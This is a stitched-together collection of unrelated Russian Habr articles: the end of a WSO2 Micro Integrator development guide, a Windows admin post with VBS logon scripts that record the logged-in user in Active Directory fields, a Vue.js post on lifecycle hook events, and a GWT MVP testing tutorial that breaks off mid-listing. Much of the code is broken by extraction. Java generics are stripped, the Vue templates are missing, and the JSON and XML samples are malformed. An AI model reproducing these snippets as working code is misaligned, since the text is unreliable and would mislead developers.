WSO2 Integration Studio поставляется со встроенным микроинтегратором. Он не особо функциональный, но для отладки его возможностей достаточно. Рекомендую все таки использовать Docker-образы с последними fix-pack, так как встроенный (embedded) wso2mi в IDE не содержит никаких исправлений, что может привести к проблемам/ошибкам при разработке.
Начинаем сборку. Открывает pom-файл в модуле CompositeExporter, и выбираем, какие файлы должны попасть в сборку:
Теперь собираем проект с помощью Maven. Идем в каталог с проектом и запускаем сборку:
```
cd ../ADP/MOEXService/
mvn clean install
```
Если сборка прошла успешно, должно появиться вот такое сообщение:
Дальнейшие действия зависят от вашего конкретного проекта. Мы, например, пишем интеграционные тесты с использованием Postman и заглушки для BackendService с Wiremock. Перед коммитом стоит добавить в файл исключений ".gitignore" все target-каталоги, в нашем примере это
```
projects/ADP/MOEXService/MOEXServiceCompositeExporter/target/*
projects/ADP/MOEXService/MOEXServiceRegistryResources/target/*
projects/ADP/MOEXService/MOEXServiceConfigs/target/*
```
### Требования к разработке в WSO2 Microintegrator
В качестве бонуса расскажем о требованиях к разработке, которые мы сформировали внутри команды. По опыту, их выполнение помогает предотвратить немало проблем в работе с WSO2.
В первую очередь необходимо применять повторно используемые SequenceMediator, так как это упрощает понимание и повышает читабельность кода. В проекте должны быть отдельные Sequence для:
* валидации/парсинга входящего сообщения (Validation Handling), если применимо;
* для обработки входящего сообщения/запроса (Input Handling), с реализацией общих механизмов для логирования и установки глобальных параметров (environment);
* для обработки исходящего сообщения/ответа (Output Handling);
* для обработки и формирования сообщения об ошибке (Fault/Error Handling);
* для обработки некорректного метода или URL, если применимо.
Вызов внешнего API необходимо также сохранить в Sequence, что важно при использовании нескольких вызовов последовательно. Блок не должен быть пустым: обязательно нужно делать обработку ошибок в каждом сервисе.
Необходимо придерживаться единых правил именования объектов (название проекта, API, Endpoint, Sequence и др.) — у WSO2 есть отдельная [таблица](https://docs.wso2.com/display/EI611/WSO2+Enterprise+Integrator+Best+Practices#WSO2EnterpriseIntegratorBestPractices-NamingGuidelinesNamingartifacts) на эту тему, в том же документе можно найти другие хорошие советы.
Сообщения об ошибке должны иметь единую структуру в зависимости от формата обмена сервиса.
**JSON:**
```
"fault": {
"msgId": "uuid"
"code": 999,
"text": "Текст ошибки"
"exception": "Детальное сообщение об ошибке / stacktrace"
}
```
**XML:**
```
uuid
`999`
Текст ошибки
Детальное сообщение об ошибке / stacktrace
```
**SOAP 1.1:**
```
SOAP-ENV:Server
Текст ошибки
999
Детальное сообщение об ошибке / stacktrace
uuid
```
После получения ответа от Endpoint нужно проверять код ответа HTTP\_SC и на основании него формировать ответ клиенту. Если код ответа не 200, 201 и 202, необходимо формировать ошибку.
Для установки параметров нужно использовать именно медиатор PropertyGroup. Медиатор Property допускается только в том случае, когда устанавливается один параметр.
При вызове Endpoint необходимо предусмотреть настройки повторных запросов в случае ошибок. В каждом сервисе обязательно наличие GET-запроса /health, который возвращает HTTP или ошибку 200.
И напоследок — ряд общих требований к процессам и оформлению:
* наличие интеграционных тестов и логирования входящих/исходящих запросов ;
* хранение параметров URL, Login, Password в конфигурационных файлах;
* доступность документации Swagger/OpenAPI версии не ниже 3.0.0 в проекте через Registry (в REST API также нужно добавить через параметр Custom Swagger Definition Path);
* указание через Registry всех схем XSD или JSONSchems, которые используются для валидации запросов или трансформации;
* возможность получить документацию OpenAPI через запрос вида [http://host:port/api\_name?swagger.json](http://hostport/);
* возможность получить WSDL через запрос вида [http://host:port/api\_name?wsdl](http://hostport/), если публикуется сервис в формате SOAP.
Надеемся, в этом списке вы найдете для себя что-нибудь полезное. В следующей статье расскажем о разработке SOAP-сервисов — там есть свои нюансы. Если есть вопросы по этому посту, будем рады ответить в комментариях.
> Кстати, **9 декабря** мы планируем провести [**онлайн-митап**](https://archmeetuprb.ru/) **по** **IT-архитектуре**. Дмитрий Зыков из Росбанка расскажет об автоматизации процессов управления архитектурой. Затем Дмитрий Бардин из Croc Code — об оценка модернизации инфраструктуры. И завершит основную программу Егор Слесаренко из Leroy Merlin с рассказом о том, как в его компании внедряют Composable Architecture. Начало митапа в **19:00**, программа рассчитана часа на полтора, зарегистрироваться можно на сайте. Ждем вас!
>
> | https://habr.com/ru/post/592805/ | null | ru | null |
# Опытные мелочи Windows-админа
Всегда имел желание написать цикл постов, где был бы понемногу изложены разные интересные мелочи и задачи, которые приходилось решать в повседневной рутине системного администратора.
Возможно, кое-что из описанного будет полезно другим сисадминам.
Сразу оговорюсь, что в качестве исходных данных имею Windows среду и домен Active Directory, причем ОС преимущественно WindowsXP — Server2003. Ну и обслуживаемые компании были в основном некрупными (от 30 до 500 пользователей).
Начнем, пожалуй, c часто встречаемой задачи определения кто из пользователей за каким компьютером работает.
Для решения этой задачи были перепробованы разные методики:
* именование машин по именам пользователей (нудно. Через пару месяцев начинаешь забывать переименовать компьютер, и система катится в хаос)
* строгий учет кому куда можно ходить где нибудь в отдельном Excel и установка прав на логон только на конкретную машину и т.д. (чистой воды паранойя, была у одного из клиентов. ОЧЕНЬ нудно и муторно)
* Использование сторонних утилит от bginfo и psloggedon от Sysinternals, до всевозможных Hyena и Ideal Administrator (большая часть стоит денег, не всегда корректно работают, или слишком открытые, например в случае с BgInfo на рабочем столе становится видна информация, которую не хотелось бы чтобы видели абсолютно все. Возможно это паранойя – но не хочется чтобы толпы неизвестных людей в отделе продаж или на ресепшне узнали внутреннее имя компьютера, пользователя, IP и т.п. просто взглянув на экран.
В результате, мы "*построили свой лунапарк с VBS и пользователями*", и написали 2 небольших логон-логоф скрипта, которые запускаются групповой политикой на уровне всего домена при входе пользователя в систему, и при выходе из нее соответственно.
###### ЛОГОН-Вариант
`Dim adsinfo, ThisComp, oUser
' Определяем объекты
Set adsinfo = CreateObject("adsysteminfo")
Set ThisComp = GetObject("LDAP://" & adsinfo.ComputerName)
Set oUser = GetObject("LDAP://" & adsinfo.UserName)
' Заносим данные в AD
' В поле Department компьютера пишем имя пользователя, и время входа
Thiscomp.put "Department", "Logged on: " + oUser.cn + " " + CStr(Now)
ThisComp.Setinfo
'В поле Department учетки пользователя пишем имя компьютера и время входа
oUser.put "Department", "Logged on: " + ThisComp.cn + " " + CStr(Now)
oUser.Setinfo
wscript.quit`
###### ЛОГОФФ-Вариант
`Dim adsinfo, ThisComp, oUser
' Определяем объекты
Set adsinfo = CreateObject("adsysteminfo")
Set ThisComp = GetObject("LDAP://" & adsinfo.ComputerName)
Set oUser = GetObject("LDAP://" & adsinfo.UserName)
' Заносим данные в AD
' В поле Department компьютера пишем имя пользователя, и время входа
Thiscomp.put "Department", "Logged off: " + oUser.cn + " " + CStr(Now)
ThisComp.Setinfo
'В поле Department пользователя пишем имя компьютера и время входа
oUser.put "Department", "Logged off: " + ThisComp.cn + " " + CStr(Now)
oUser.Setinfo
wscript.quit`
Пояснения по коду наверное не нужны, скрипт элементарен, расскажу лишь про плюсы скрипта которые в моей ситуации значительно перевесили минусы (о которых тоже расскажу).
##### Плюсы
* при таком скрипте достаточно настроить в оснастке AD отображение одного дополнительного столбца (в нашем случае department) и можно будет четко видеть где кто работает в данный момент, когда он туда залогинился, либо если на компьютере никто не работает – то кто на нем работал последним, и когда вышел из системы
* Не привлекается никакого стороннего ПО, нагрузка на систему (время входа пользователя) увеличивается очень незначительно
* Легко и наглядно отслеживается наличие старых объектов компьютеров-пользователей в AD (по дате последнего логина)
* Данные централизованно хранятся в AD и не нужно никакого дополнительного хранилища (файла, папки, БД и т.п.). Данные дублируются в объектах Пользователь и Компьютер, т.е. можно отследить ситуацию «дважды под одним и тем же вошел на разных компьютерах».
* Выбраны наименее используемые (у нас и у всех тех организаций, с которыми я работал) ОБЩИЕ для объектов пользователь и компьютер поля AD. Это плюс, потому что если бы поля были разными – то пришлось бы добавлять отображение лишних столбцов в оснастке AD
* Легко корректировать скрипт по своему усмотрению (выбирать другие поля для хранения данных, писать дополнительно в текстовый файл, исключать из обработки отдельных пользователей или компьютеры (например терминальные сервера), и т.д.)
##### Минусы
* НЕ ХРАНИТСЯ история входов, т.е. записано только текущее состояние. Если история входов нужна, то временно можно добавив несколько строк кода писать информацию еще и в сетевой файл, а если нужна постоянно – то лучше подумать о другом методе учета.
* Требуется выдать дополнительное разрешение Write\Modify на поле Department объектов Компьютер и Пользователь в AD для всех доменных пользователей. Минус в моей ситуации сомнительный, но и отрицать его не буду – он есть.
Продолжение [следует](http://habrahabr.ru/blogs/sysadm/121917/).
P.S. Забыл добавить. В рабочем режиме система выглядит примерно так:
 | https://habr.com/ru/post/121801/ | null | ru | null |
# Vue.js: Хуки жизненного цикла ваших и сторонних компонентов
Lifecycle hooks (Хуки жизненного цикла) — это очень важная часть любого компонента. Нам, нашему приложению, часто нужно знать что происходит с компонентом, когда он создан, смонтирован, обновлен или уничтожен.
В компоненте мы можем отлавливать эти события используя соответствующие методы, например:
* **created** — экземпляр компонента создан
* **mounted** — экземпляр компонента cмонтирован
* **updated** — виртуальный DOM был обновлён из-за изменения данных
* **destroyed** — экземпляр компонента уничтожен
* и т.д. [Документация](https://vuejs.org/v2/api/index.html#Options-Lifecycle-Hooks)
В коде нашего компонента это будет выглядеть так:
```
// MyComponent.vue
Hello, {{ who }}
================
export default {
name: 'MyComponent',
data() {
return {
who: 'world'
}
},
mounted() {
// Сделаем что-то полезное после монтирования нашего компонента
}
}
```
Хорошо. А что если родительскому компоненту нужно знать, что происходит в дочернем компоненте, например, что компонент обновился? В дочернем компоненте мы можем порождать событие, а на родительский компонент навесить слушателя. В коде нашего приложения это будет выглядеть так:
```
// Дочерний компонент ChildComponent.vue
Count: {{ counter }}
+1
export default {
name: 'ChildComponent',
data() {
return {
counter: 0
}
},
updated() {
this.$emit('updated')
},
methods: {
add() {
this.counter++
}
}
}
```
```
// Родительский компонент ParentComponent.vue
import ChildComponent from 'ChildComponent.vue'
export default {
name: 'ParentComponent',
components: {
ChildComponent
},
data() {
return {}
},
methods: {
usefulMethod() {
// Делаем что-то полезное по событию пришедшему из дочернего компонента
}
}
}
```
Отлично, при обновлении дочернего компонента родительский компонент отлавливает событие updated и выполняется метод usefulMethod().
Все круто! Но что делать, если нам нужно встроить сторонний компонент, скачанный с npm или git и сделать что-то полезное в родительском компоненте, например при его монтировании? Залезать в код стороннего компонента, в хуке mounted порождать событие,… Не самая хорошая идея! А что если я вам скажу, что этого делать не надо! Вместо этого мы можем просто слушать событие! Именем этого события будет имя хука жизненного цикла, но к нему нужно дописать префикс `@hook:` так-то так `@hook:имя_хука_жизненного_цикла`, например: `@hook:mounted, @hook:updated или @hook:destroyed`.
В коде выглядеть это будет примерно так:
```
// Родительский компонент ParentComponent.vue
import ThirdPartyComponent from 'vue-third-party-component' // Сторонний компонент
export default {
name: 'ParentComponent',
components: {
ThirdPartyComponent
},
data() {
return {}
},
methods: {
usefulMethod() {
// Делаем что-то полезное по хуку mounted произошедшему в стороннем компоненте
}
}
}
```
Как мне кажется, это очень полезный функционал для работы, как со своими, так и со сторонними компонентами. Надеюсь и вам он будет полезен. Немного странно, что в документации о нем нет ни слова и некоторые фичи можно узнать только читая исходный код.
Спасибо за прочтение. Читайте доку и исходники! И с наступающим новым 2020 годом! | https://habr.com/ru/post/482030/ | null | ru | null |
# Тестирование GWT приложений архитектуры MVP
Добрый день!
В этой статье я рассмотрю unit/integration тестирование в GWT с использованием UI компонентов GWT и GXT и MVP (с Passive View) архитектуры для разделения логики и внешнего вида приложения.
GWT и GXT здесь выделены не случайно — Google разработал несколько framework'ов, которые облегчают поддержку паттерна MVP (точнее, более общее — разделение логики и представления) в GWT. Это Activity and Place для разделения логики приложения на модули, GWT Editor для автоматического мапинга POJO объектов на widget, UiBinding для декларативного описания интерфейса.
Всё это поддерживается ещё и UI framework'ом GXT. Т.ч. по сути не будет большой разницы в использовании UI компонентов GWT или GXT.
В результате получим легко тестируемое приложение без поднятия тяжёлого framework'а GWT.
#### Цель
Просто писать тесты на GWT приложение с покрытием максимального функционала. В идеале — простое написание интеграционных тестов (интеграционных, что бы сразу покрывать тестами все слои приложения минимальным количеством тестов, тестируя тем самым ещё и взаимосвязь слоёв). Нужно, т.к. много логики находится на клиенте и хотелось бы её тоже по максимуму покрыть простыми легко запускающимися тестами, которые можно быстро запускать на машине разработчика.
#### Используемые технологии и framework'и
1) **MVP** (Model View Presenter) с Passive View — краеугольный камень в тестировании приложений с UI. Вкратце — это паттерн разделения логики и отображения в котором View отводится минимальная роль. Благодаря чему View становится прост и в нём сложнее будет сделать ошибки. А так как его сложно тестировать (для этого придётся поднять всё окружение GWT), то это будет только на руку — его и не будем тестировать.
За подробностями о MVP смотреть сюда:
MVP в GWT. Официальная документация: [www.gwtproject.org/articles/mvp-architecture.html](http://www.gwtproject.org/articles/mvp-architecture.html)
Passive View. М. Фаулер: [martinfowler.com/eaaDev/PassiveScreen.html](http://martinfowler.com/eaaDev/PassiveScreen.html)
MVP в GWT: [www.javabeat.net/what-is-model-view-presenter-mvp-in-gwt-application](http://www.javabeat.net/what-is-model-view-presenter-mvp-in-gwt-application/)
Различные MV\* паттерны: [outcoldman.com/ru/archive/2010/02/22/паттерны-mvc-mvp-и-mvvm](http://outcoldman.com/ru/archive/2010/02/22/паттерны-mvc-mvp-и-mvvm/)
2) **DI** (Dependence Injection) — реализация для GWT — GIN, для тестирования без запуска GWT — Guice. Все зависимости в Presenter'ах вместо GWT.create() определяются с помощью аннотации Inject. Т.е. при использовании GWT RPC вместо
```
ServiceAsync serviceAsync = GWT.create(ServiceAsync.class);
```
писать
```
@Inject ServiceAsync serviceAsync;
```
Так же нужно при тестировании без полного поднятия окружения GWT — при этом зависимости, которые не возможно создать (например, реализация View) будут заменены mock'ами. Плюс использования GIN и Guice в паре — они используют одни аннотации для определения DI (Inject, Provide) благодаря чему код не нужно менять под другой DI framework и ничего дополнительно не нужно настраивать — только корректно за'bind'ить зависимости.
3) **Mocking** — эмулирование объектов. Нужно для замены, как минимум View, чтобы корректно работали Presenter'ы. В качестве framework'а для mocking'а используем Mockito.
4) **SyncProxy** — framework для выполнения GWT RPC запросов из Java. Нужен для тестирования, чтобы предоставить возможность совершать GWT RPC вызовы без поднятия GWT окружения.
SyncProxy [code.google.com/p/gwt-syncproxy](https://code.google.com/p/gwt-syncproxy/)
5) **Jetty** — servlet container. Нужен для запуска web приложения.
6) **GWT Editor** — GWT framework который позволяет автоматически маппить POJO объекты на UI компоненты. Нужен, чтобы разгрузить View от маппинга и тем самым приблизить его к Passive View.
GWT Editor. Официальная документация: [www.gwtproject.org/doc/latest/DevGuideUiEditors.html](http://www.gwtproject.org/doc/latest/DevGuideUiEditors.html)
GWT Editor in GXT: [docs.sencha.com/gxt/3.1.0-beta/data/Editors.html](http://docs.sencha.com/gxt/3.1.0-beta/data/Editors.html)
7) **Activity and Place** — framework от Google для удобной history механизма (история посещения страницы в браузере — кнопки назад и вперёд). В принципе здесь не обязателен, но позволяет легко реализовать поддержку истории браузера, т.ч. тоже рассмотрим.
Activity and Place. Официальная документация. [www.gwtproject.org/doc/latest/DevGuideMvpActivitiesAndPlaces.html](http://www.gwtproject.org/doc/latest/DevGuideMvpActivitiesAndPlaces.html)
8) **UiBinder** — GWT механизм декларативного описания UI. По сути GWT UI элементы определяются как в html/jsp станицах — с помощью тегов. Тоже не обязательно, но позволяет разгрузить View, оставив там только event handler'ы и минимум логики.
UiBinder. Официальная документация: [www.gwtproject.org/doc/latest/DevGuideUiBinder.html](http://www.gwtproject.org/doc/latest/DevGuideUiBinder.html)
#### Не используемые технологии
1) **Selenium** — тесты написанные с помощью Selenium трудно поддерживать, писать и запускать. Хотя они и позволяют провести полностью интеграционное тестирование, но для них нужен отдельный человек, который будет поддерживать их в рабочем состоянии и отдельная машина, на которой их можно быстро запустить. В маленьких командах если и можно выделить и настроить сервер для запуска Selenium тестов, то отдельного человека для их поддержки найти очень сложно. Т.ч. его я не рассматриваю, хотя раньше на других проектах успешно использовал (с QA инженером, который писал тесты).
2) **GWTTestCase** — GWT JUnit runner, который позволяет поднять GWT окружение в JUnit тестах и эмулировать браузер с помощью HtmlUnit. Не использовал здесь, т.к. запускается долго (по сути, это запуск GWT в режиме разработки), а из за использования HtmlUnit эмуляция некоторых JavaScript может происходит некорректно. Вообще это такое половинчатое решение — с одной стороны и запускается GWT, но другой — запускается долго и не во всех случаях будет работать корректно. Т.ч. тоже не использовал, хотя для некоторых случаев может и подойти.
#### Архитектура приложения и основные моменты
Повторюсь, основной паттерн облегчающий тестирование в GWT — MVP с Passive View. Суть его — сосредоточить всю логику в Presenter'е, сделать максимально простой View (чем проще код, тем меньше в нём ошибок, а так как View не будем покрывать тестами, потому что сложно, то это очень актуально). При этом в Presenter'е не должно быть UI кода — никакого использования UI элементов, вызовов GWT.create() (вместо этого используется внедрение зависимостей с помощью DI) и всего того, что не может выполнится на JVM. Всё это нужно, чтобы код Presenter'а можно было выполнить на JVM без компиляции в JS или поднятия GWTDevMode, которые происходят долго.
#### Этапы запуска тестов
1) Поднимаем Jetty с нашим приложением.
2) Настраиваем SyncProxy на наши GWT RPC сервисы.
3) С помощью Guice определяем реализации интерфейсов GWT RPC сервисов, Presenter'ов и View (с mock'ом View).
4) Доп. в случае использования Activity and Place настроить ActivityMapper, ActivityManager, PlaceControler.
5) Тестировать Presenter'ы и (если есть) Activity и Place.
#### Пример приложения
В качестве примера я сделал приложение редактирования студентов и групп. Студент может принадлежать только одной группе. Всего есть 4 формы — список студентов, список групп, просмотр/редактирование студента, просмотр/редактирование группы.
Исходники расположены здесь: [github.com/TimReset/example.gwt.gxt.test](https://github.com/TimReset/example.gwt.gxt.test)
Приложение используем maven. В папке с проектом есть папка repo в которой находится SyncProxy (так как его нет в maven) и annotation.jar от IDEA (т.к. я использую аннотации NotNull и Nullable от IDEA).
В качестве базового Presenter'а и View используем следующий:
```
/**
* Общий интерфейс для presenter'ов. Сделан по [офф
\* дока по MVP от Google](http://www.gwtproject.org/articles/mvp-architecture.html) и [офф
\* дока по Activity и Place](http://www.gwtproject.org/doc/latest/DevGuideMvpActivitiesAndPlaces.html). А так же с учётом статьи Фаулера про MVP. Но отличается от канонической реализации тем,
* что View имеет ссылку на интерфейс Presenter, что бы сообщать ему об изменениях (например, в случае нажатия на кнопку
* в View). Это удобно тем, что не нужно делать передачу callback'ов в View, что бы она могла сообщить Presenter'у о
* своих изменениях.
*
*
* Use case использования Presenter'ов:
*
* Presenter'ы являются максимально независимой единицей - всё взаимодействие с другими Presenter'ами должно происходить
* через EventBus, который устанавливается Presenter'у явно (не через inject). Нужно это, т.к. EventBus может быть
* локальным и работать только с этим Presenter'ов. Свять Presenter'ов между собой происходит в Activity. ({@link
* BaseActivity ).
*/
public interface BasePresenter {
/\*\*
\* Возвращает {@link View} для отображения. Повторный вызов этого метода должен возвратить тот же View. Инициализацией
\* View Presenter должен заниматься в другом месте, но не в этом методе. Это нужно, чтобы можно было вернуть к
\* отображению этого View, если был переход на другой View. Возвращает именно {@link View}, а не {@link IsWidget}, что
\* бы можно использовать типизированные View в других View.
\*
\* @return View.
\*/
@NotNull
V getWidget();
/\*\*
\* Интерфейс View для Presenter'ов. Нужен, т.к. содержит шаблонный метод {@link #setPresenter(BasePresenter)} который
\* должна вызывать каждая реализация Presenter'а чтобы сообщить View с каким Presenter'ом он общается.
\*/
public interface View extends IsWidget {
/\*\*
\* View имеет ссылку на Presenter, чтобы в случае событий со стороны View сообщать об этом Presenter'у. Ссылка
\* передаётся напрямую через set метод, а не с помощью Inject, т.к. 1) GIN не поддерживает циклические ссылки -
\* когда View ссылается на Presenter и Presenter ссылается на View. Поэтому ссылку нужно передавать каким-то другим
\* способом. 2) Нужно, что бы ссылка View Presenter и наоборот были один к одному, т.к. View ссылался на тот же
\* Presenter, который ссылается на этот же View, поэтому Presenter должен сам инициализировать View, который есть у
\* него.
\*
\* @param presenter Ссылка на Presenter для этого View.
\*/
void setPresenter(@NotNull T presenter);
}
}
```
Суть базового Presenter'а — определить основные методы по работе с Presenter'ами и View: у Presenter'а — получить View. Метод нужен, т.к. напрямую с View не работаем (потому что за состояние View отвечает Presenter и он сам должен решать при отдаче этого View, в каком состоянии его отдать), а только через Presenter. У View есть метод для установки Presenter'а. Метод нужен, т.к. нельзя в GIN/Guice сделать циклические зависимости — экземпляр Presenter'а ссылается на View и View ссылается на Presenter.
#### UML Class диаграмма
На диаграмме видна взаимосвязь между классам — Presenter общается с View и шлёт сообщения в EventBus. Activity общается с Presenter'ами (на диаграмме показан только один Presenter но их может быть больше) и работает с EventBus — слушает сообщения от Presenter'ов и остальные сообщения.
Основные нюансы взаимодействия между объектами:
1) Сообщения от Presenter'а в Activity передаются через EventBus. Как альтернативу можно использовать callback'и, которые Activity будет устанавливать в Presenter. Но у этого решения есть один минус — callback'и нужно не забывать стирать, чтобы не было утечек ресурсов из за того, что Presenter singleton, а Activity нет. Т.е. Activity установил Presenter'у callback. Перешли на новый Activity и не установили callback (а Presenter забыл его обнулить) И тогда будет висеть ссылка на callback старого Activity или того хуже, этот callback будет вызван. В механизме Activity and Place GWT при создании Activity передаётся ResettableEventBus, который очищается при переходе на новый Activity. Т.ч. Activity может установить сколько нужно event handler'ов, не беспокоясь о их удалении. При смене Activity эти handler'ы автоматически удалятся. А Presenter'у не нужно беспокоиться о наличии callback'ов — он просто шлёт сообщения в EventBus.
2) Сообщения от Activity в Presenter можно напрямую слать через методы интерфейса Presenter'а.
3) Presenter с View взаимодействуют через интерфейсы друг друга. Нужно чтобы при тестировании заменить реализацию View mock'ом.
4) О View знает только Presenter — все остальные общаются только с Presenter'ом. Опять же — удобно при замене View mock'ом и последующем отслеживании зависимостей (когда о View никто не знает и его легко поменять).
#### Настройки тестового окружения
Jetty настраиваем программно аналогично как в web.xml — т.е. всё то, что написано в web.xml переносим в вызов методов в Jetty. Я сделал именно так, а не явно указал web.xml потому что у меня не получилось использовать относительный путь к web.xml, а писать заточенные под конкретные пути тесты не хотелось — пришлось бы их каждый раз менять. Т.ч. если у вас получится сделать запуск Jetty с относительным путём к web.xml, то будет отлично.
Для настройки SyncProxy используем Map со списком интерфейсов асинхронных GWT RPC сервисов, их реализаций (нужно для удобного запуска GWT RPC сервлетов в Jetty) и путей к этим сервлетам.
```
/**
* Список GWT RPC сервлетов. Ключ - класс GWT RPC сервлета. Значение - асинхронный интерфейс сервлета и строка - его
* маппинг из web.xml. Нужно для удобного добавления GWT RPC сервлетов для Jetty и последующего создания асинхронных
* интерфейсов - чтобы каждый раз не прописывать мапинг для Jetty, создание экземпляра интерфейса в SyncProxy и
* последующего биндинга в Guice.
*/
private static final Map, Pair, String>> gwtRpcServlets = Collections
.unmodifiableMap(new HashMap, Pair, String>>() {
private static final long serialVersionUID = -2126682232601937926L;
{
put(StudentsServiceImpl.class, new Pair, String>(StudentsServiceAsync.class, "/GxtModule/students"));
put(GroupsServiceImpl.class, new Pair, String>(GroupsServiceAsync.class, "/GxtModule/groups"));
}
});
```
Собственно сам мапинг происходит в этом цикле:
```
for (Map.Entry, Pair, String>> entry : gwtRpcServlets
.entrySet()) {
// Cookie явно не используются, но по умолчанию SyncProxy используем свои куки, т.ч. http сессия корректно работает.
// Используем синхронный вызов асинхронного кода (waitForInvocation = true). Нужно, что бы проще писать тесты - в них методы будут выполняться по порядку.
gwtRpcAsyncInstances.put(entry.getValue().getA(), SyncProxy.newProxyInstance(entry.getValue().getA(),
URL\_TO\_SERVER, entry.getValue().getB(), true));
}
```
Обращу Ваше внимание на следующие моменты при использовании SyncProxy:
1) Инстансы асинхронных интерфейсов сохраняются в Map gwtRpcAsyncInstances. Это нужно что в последствие универсально их получать при bind'инге.
2) Используется синхронный механизм в асинхронных интерфейсах. Это означает, что при вызове асинхронного GWT RPC метода следующая строчка кода не будет выполняться, пока не придёт ответ от сервера (т.е. не выполнятся методы com.google.gwt.user.client.rpc.AsyncCallback#onFailure или com.google.gwt.user.client.rpc.AsyncCallback#onSuccess. Это очень облегчает написание тестов — фактически тесты будут писаться по шагам, как синхронные и не нужно будет дополнительно обрабатывать ожидание ответа сервера.
3) Нужно в пакете с тестами создать копию класса com.google.gwt.user.server.rpc.impl.LegacySerializationPolicy и переопределить метод com.google.gwt.user.server.rpc.impl.LegacySerializationPolicy#isInstantiable, чтобы он поддерживал классы наследники Serializable. Т.ч. код метода в итоге должен быть таким:
```
private boolean isInstantiable(Class clazz) {
if (clazz.isPrimitive()) {
return true;
}
if (clazz.isArray()) {
return isInstantiable(clazz.getComponentType());
}
// Здесь добавилось Serializable.class.isAssignableFrom(clazz)
if (IsSerializable.class.isAssignableFrom(clazz) || Serializable.class.isAssignableFrom(clazz)) {
return true;
}
return SerializabilityUtil.hasCustomFieldSerializer(clazz) != null;
}
```
Это нужно, т.к. GWT RPC по умолчанию, если нет файла с GWT Policy (файл с описанием сериализуемых типов), использует LegacySerializationPolicy для проверки того, может ли объект сериализоваться. А в этом классе нет поддержки интерфейса Serializable. Т.ч. придётся добавить её вручную. Используется именно такое переопределение метода (с полной заменой класса), т.к. GWT RPC напрямую создаёт экземпляр этого класс и указать GWT RPC свой Serializable Policy нельзя.
И последний момент настройки — определение bind'ингов в Guice. Для определения Presenter'ов так же используется Map с их классом Presenter'а, классом реализации Presenter'а и классов View этого Presenter'а.
```
/**
* Список Presenter'ов, их реализации и View. Нужен для автоматического биндинга.
*/
private static final Map, Pair, Class extends BasePresenter.View>> presenters =
Collections.unmodifiableMap(new HashMap, Pair, Class extends BasePresenter.View>>() {
private static final long serialVersionUID = 3512350621073004110L;
private void addPresenter(Class presenterInterface, Class extends T implementPresenter, Class extends BasePresenter.View<T> viewClass) {
if (!presenterInterface.isInterface()) {
throw new IllegalArgumentException("Should be interface " + presenterInterface.getName());
}
if (implementPresenter.isInterface()) {
throw new IllegalArgumentException("Should be class " + implementPresenter.getName());
}
put(presenterInterface, new Pair, Class extends BasePresenter.View>(implementPresenter, viewClass));
}
{
addPresenter(StudentPresenter.class, StudentPresenterImpl.class, StudentPresenter.View.class);
addPresenter(StudentsListPresenter.class, StudentsListPresenterImpl.class, StudentsListPresenter.View.class);
addPresenter(MainWindowPresenter.class, MainWindowPresenterImpl.class, MainWindowPresenter.View.class);
}
});
```
Далее bind'им объекты асинхронных интерфейсов GWT RPC, которые создал SyncProxy, Presenter'ы, с автоматическим созданием mock'а для View, EventBus и, в нашем случае, — поднимаем объекты для работы Activity and Place. Обращаю Ваше внимание на то, что всё здесь определено как Singleton. Для Presenter'ов и View это не критично, а EventBus и классы, связанные с Activity and Place должны быть именно такими — т.к. они используются во многих местах и имеют ссылки друг на друга.
```
injector = Guice.createInjector(new AbstractModule() {
@Override
protected void configure() {
// Автоматически биндим интерфейс и реализацию.
for (Class gwtRpcAsyncClass : gwtRpcAsyncInstances.keySet()) {
bind(gwtRpcAsyncClass).toInstance(getGwtRpc(gwtRpcAsyncClass));
}
for (Map.Entry, Pair, Class extends BasePresenter.View>> entry : presenters.entrySet()) {
log.info("Bind View {}", entry.getValue().getB().getName());
bindMock(entry.getValue().getB());
log.info("Bind Presenter {} to implementation {} ", entry.getKey().getName(), entry.getValue().getA().getName());
bind(entry.getKey()).to((Class) entry.getValue().getA()).in(Singleton.class);
}
EventBus eventBus = new SimpleEventBus();
bind(EventBus.class).toInstance(eventBus);
com.google.gwt.place.shared.PlaceController placeController = new com.google.gwt.place.shared.PlaceController(
eventBus, new com.google.gwt.place.shared.PlaceController.Delegate() {
// простая реализация Delegate, нужна, т.к. Delegate по умолчанию использует UI.
});
bind(com.google.gwt.place.shared.PlaceController.class).toInstance(placeController);
bind(ActivityMapper.class).to(ru.timreset.example.gxt.client.ActivityMapper.class).in(Singleton.class);
bind(AcceptsOneWidget.class).to(ru.timreset.example.test.base.AcceptsOneWidget.class).in(Singleton.class);
}
/\*\*
\* Автоматическое создание mock объекта и биндинг его в этот же класс.
\* @param bindClass Класс mock объекта.
\*/
private void bindMock(Class bindClass) {
Object bindObject = Mockito.mock(bindClass);
bind(bindClass).toInstance(bindObject);
}
});
ActivityManager activityManager = new ActivityManager(getInstance(ActivityMapper.class), injector.getInstance(
EventBus.class));
activityManager.setDisplay(getInstance(AcceptsOneWidget.class));
final PlaceHistoryHandler historyHandler = new PlaceHistoryHandler(
new PlaceHistoryMapper(), new PlaceHistoryHandler.Historian() {
// простая реализация Historian, нужна, т.к. Historian по умолчанию использует UI и информацию о браузере.
});
historyHandler.register(injector.getInstance(com.google.gwt.place.shared.PlaceController.class),
injector.getInstance(EventBus.class), Place.NOWHERE);
historyHandler.handleCurrentHistory();
```
#### Пример Presenter'а StudentPresenter
```
/**
* Presenter формы с полями Студента. Используется для просмотра/создания/редактирования Студента.
*/
public interface StudentPresenter extends BasePresenter {
/\*\*
\* Метод инициализации Presenter'а перед показом.
\*
\* @param mode Тип работы Presenter'а.
\* @param studentId id Студента.
\* @param eventBus EventBus.
\* @param onReady Callback который будет вызываться при успешной инициализации Presenter'а.
\*/
void init(@NotNull Mode mode, @Nullable Integer studentId, @NotNull EventBus eventBus, @NotNull Command onReady);
/\*\*
\* Сохранить указанного студента.
\*
\* @param student Студент.
\*/
void saveStudent(Student student);
/\*\*
\* Можно ли редактировать Студента.
\*
\* @return true - редактировать можно, false - редактировать нельзя.
\*/
boolean isEdit();
/\*\*
\* Нажатие на кнопку Редактировать.
\*/
void onEditStudent();
/\*\*
\* Получить текущий режим работы.
\*
\* @return Режим работы.
\*/
Mode getMode();
/\*\*
\* Были ли изменения редактируемого Студента.
\*
\* @return true - изменения были, false - изменений не было.
\*/
boolean isDirty();
/\*\*
\* Режим работы Presenter'а.
\*/
enum Mode {
/\*\*
\* Просмотр.
\*/
VIEW,
/\*\*
\* Редактирование.
\*/
EDIT,
/\*\*
\* Создание.
\*/
CREATE;
}
interface View extends BasePresenter.View {
/\*\*
